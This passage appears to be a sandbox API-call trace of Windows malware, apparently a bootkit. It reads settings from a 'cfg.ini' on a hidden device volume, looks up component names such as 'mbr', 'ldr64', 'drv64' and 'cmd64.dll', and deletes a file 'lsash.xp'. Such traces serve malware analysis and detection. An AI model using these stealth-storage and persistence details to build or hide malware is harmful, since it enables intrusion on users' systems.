0xfffffa80039d7d20 [0128.038] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.038] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.038] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.038] IdePortDispatch () returned 0x103 [0128.038] KeWaitForMutexObject () returned 0x0 [0128.038] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.038] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.038] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.038] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.038] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.038] IdePortDispatch () returned 0x103 [0128.039] KeWaitForMutexObject () returned 0x0 [0128.039] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.039] KeLeaveCriticalRegion () [0128.039] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.039] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.039] KeEnterCriticalRegion () [0128.039] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.039] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.039] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.039] KeLeaveCriticalRegion () [0128.039] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.039] KeEnterCriticalRegion () [0128.039] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.040] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0128.040] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfdbe0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.040] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.040] KeLeaveCriticalRegion () [0128.040] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.040] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.040] KeEnterCriticalRegion () [0128.040] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.040] ExFreePoolWithTag (P=0xfffffa8003bfc010, Tag=0x0) [0128.040] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.040] KeLeaveCriticalRegion () [0128.040] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.040] ReleaseMutex (hMutex=0xf0) returned 1 [0128.040] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.040] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0128.040] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.040] KeEnterCriticalRegion () [0128.040] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.040] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.040] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.040] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.040] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.040] IdePortDispatch () returned 0x103 [0128.041] KeWaitForMutexObject () returned 0x0 [0128.041] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.041] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.041] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.041] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.041] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.041] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfef10 [0128.041] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.041] KeLeaveCriticalRegion () [0128.041] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.041] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.041] KeEnterCriticalRegion () [0128.041] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.041] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.041] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.041] KeLeaveCriticalRegion () [0128.041] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.041] KeEnterCriticalRegion () [0128.041] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.041] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.041] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.041] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.041] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0128.041] IdePortDispatch () returned 0x103 [0128.041] KeWaitForMutexObject () returned 0x0 [0128.042] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.042] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.042] KeLeaveCriticalRegion () [0128.042] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.042] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.042] KeEnterCriticalRegion () [0128.042] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.042] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cae000 [0128.042] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.042] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.042] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.042] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.042] IdePortDispatch () returned 0x103 [0128.042] KeWaitForMutexObject () returned 0x0 [0128.042] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.042] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.042] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.042] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.042] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.042] IdePortDispatch () returned 0x103 [0128.042] KeWaitForMutexObject () returned 0x0 [0128.043] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.043] KeLeaveCriticalRegion () [0128.043] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.043] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.043] KeEnterCriticalRegion () [0128.043] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.043] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.043] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.043] KeLeaveCriticalRegion () [0128.044] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.044] KeEnterCriticalRegion () [0128.044] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.044] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0128.044] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800c4f7450, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.044] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.044] KeLeaveCriticalRegion () [0128.044] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.044] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.044] KeEnterCriticalRegion () [0128.044] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.044] ExFreePoolWithTag (P=0xfffffa8003bfef10, Tag=0x0) [0128.044] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.044] KeLeaveCriticalRegion () [0128.044] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.044] ReleaseMutex (hMutex=0xf0) returned 1 [0128.044] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.044] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0128.044] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.044] KeEnterCriticalRegion () [0128.044] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.044] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.044] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.044] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.044] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.044] IdePortDispatch () returned 0x103 [0128.045] KeWaitForMutexObject () returned 0x0 [0128.045] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.045] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.045] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.045] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.045] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.045] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003accc80 [0128.045] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.045] KeLeaveCriticalRegion () [0128.045] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.045] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.045] KeEnterCriticalRegion () [0128.045] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.045] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.045] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.045] KeLeaveCriticalRegion () [0128.045] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.045] KeEnterCriticalRegion () [0128.045] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.045] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.045] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.045] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.045] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0128.045] IdePortDispatch () returned 0x103 [0128.045] KeWaitForMutexObject () returned 0x0 [0128.045] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.045] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.046] KeLeaveCriticalRegion () [0128.046] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.046] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.046] KeEnterCriticalRegion () [0128.046] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.046] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002caf000 [0128.046] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.046] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.046] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.046] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.046] IdePortDispatch () returned 0x103 [0128.046] KeWaitForMutexObject () returned 0x0 [0128.046] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.046] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.046] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.046] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.046] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.046] IdePortDispatch () returned 0x103 [0128.047] KeWaitForMutexObject () returned 0x0 [0128.047] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.047] KeLeaveCriticalRegion () [0128.047] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.047] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.047] KeEnterCriticalRegion () [0128.047] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.047] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.047] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.047] KeLeaveCriticalRegion () [0128.047] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.047] KeEnterCriticalRegion () [0128.047] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.047] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0128.047] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003ac9970, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.047] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.048] KeLeaveCriticalRegion () [0128.048] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.048] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.048] KeEnterCriticalRegion () [0128.048] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.048] ExFreePoolWithTag (P=0xfffffa8003accc80, Tag=0x0) [0128.048] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.048] KeLeaveCriticalRegion () [0128.048] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.048] ReleaseMutex (hMutex=0xf0) returned 1 [0128.048] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0128.048] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0128.048] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0128.048] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0128.048] KeEnterCriticalRegion () [0128.048] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.048] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.048] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.048] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.048] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.048] IdePortDispatch () returned 0x103 [0128.048] KeWaitForMutexObject () returned 0x0 [0128.048] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.048] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0128.049] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.049] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.049] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.049] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.049] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.049] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.049] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.049] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0128.049] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.049] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.049] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.049] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.049] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.049] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.049] KeLeaveCriticalRegion () [0128.049] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.049] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0128.049] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0128.049] KeEnterCriticalRegion () [0128.049] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.049] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.049] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.049] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.049] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.049] IdePortDispatch () returned 0x103 [0128.049] KeWaitForMutexObject () returned 0x0 [0128.049] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.049] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0128.049] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.050] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.050] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.050] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.050] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.050] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.050] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.050] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0128.050] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.050] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.050] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.050] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.050] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.050] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.050] KeLeaveCriticalRegion () [0128.050] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.050] ReleaseMutex (hMutex=0x100) returned 1 [0128.050] Sleep (dwMilliseconds=0x2bf20) [0128.058] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6f868f30, dwHighDateTime=0x1d24fa4)) [0128.058] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0128.058] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.058] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0128.058] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.058] KeEnterCriticalRegion () [0128.059] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.059] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.059] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.059] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.059] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.059] IdePortDispatch () returned 0x103 [0128.059] KeWaitForMutexObject () returned 0x0 [0128.059] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.059] _strnicmp 